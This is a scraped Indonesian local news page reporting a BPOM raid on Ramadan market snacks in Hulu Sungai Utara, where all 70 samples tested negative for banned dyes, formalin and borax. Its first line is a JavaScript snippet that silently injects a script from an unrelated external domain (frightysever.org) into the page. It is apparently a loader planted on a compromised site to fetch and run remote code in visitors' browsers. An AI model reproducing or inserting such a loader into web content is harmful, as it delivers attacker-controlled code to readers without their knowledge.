(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Badan Pengawas Obat dan Makanan (BPOM) Kabupaten Hulu Sungai Utara (HSU) menggelar razia makanan takjil di sejumlah pasar Ramadhan.
Razia makanan dalam rangka intensifikasi pengawasan pangan dilakukan BPOM HSU bersama dengan Dinas Kesehatan HSU dan Dinas Perindustrian, Perdagangan, Koperasi dan UKM (Disperindagkop-UKM) Hulu Sungai Utara, Kamis (15/5)
Selah melakukan sampling, tim mendapatkan 70 sampel kue (wadai) dari beberapa pasar Ramadhan didaerah HSU meliputi Pasar di kawasan Sungai Malang, Pasar Ramadhan Kota Amuntai, Pasar Senin Kecamatan Amuntai tengah, Pasar Ramadhan di daerah Alabio, dan lainnya.
“Dari total 70 sampel yang kami dapatkan semuanya negatif mengandung bahan berbahaya, bahan berbahaya tersebut antara lain Rhodamin B, Metanil Yellow, Formalin, dan Boraks,” ungkap Ketua tim Winda Intan Novalia.
Dalam kesempatan tersebut BPOM HSU bersama tim juga mensosialisasikan dampak negatif bahan-bahan berbahaya bagi kesehatan kepada para pedagang jika digunakan pada makanan. Seperti Rhodamin B dan Metanil Yellow adalah zat warna untuk kertas, tekstil, sabun, kayu dan kulit, jika tertelan dapat menyebabkan iritasi pada saluran pencernaan dan jika terpapar pada bibir dapat menyebabkan bibir pecah-pecah, kering, gatal, bahkan kulit bibir terkelupas.
Sedangkan Formalin adalah bahan perekat untuk kayu lapis dan disenfektan untuk peralatan Rumah Sakit serta untuk pengawet mayat. “Formalin sangat berbahaya jika terhirup, mengenai kulit dan tertelan, jika terhirup dapat menyebabkan iritasi saluran pernafasan, jika mengenai kulit dapat menyebabkan luka bakar, reaksi alergi, jika tertelan akan menyebabkan rasa terbakar pada mulut, tenggorokan dan perut, sakit menelan, mual dan muntah, sakit kepala, kejang hingga koma. Dapat pula merusak hati, jantung, otak, ginjal, syaraf,” sambungnya
Adapun zat berbahaya lain seperti Boraks, adalah merupakan bahan yang biasanya pembuat deterjen, yang jika terhirup,mengenai kulit, mata dan tertelan mengakibatkan iritasi pada saluran pencernaan, iritasi pada kulit dan mata, mual, sakit kepala, nyeri hebat pada perut bagian atas. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
This website uses cookies.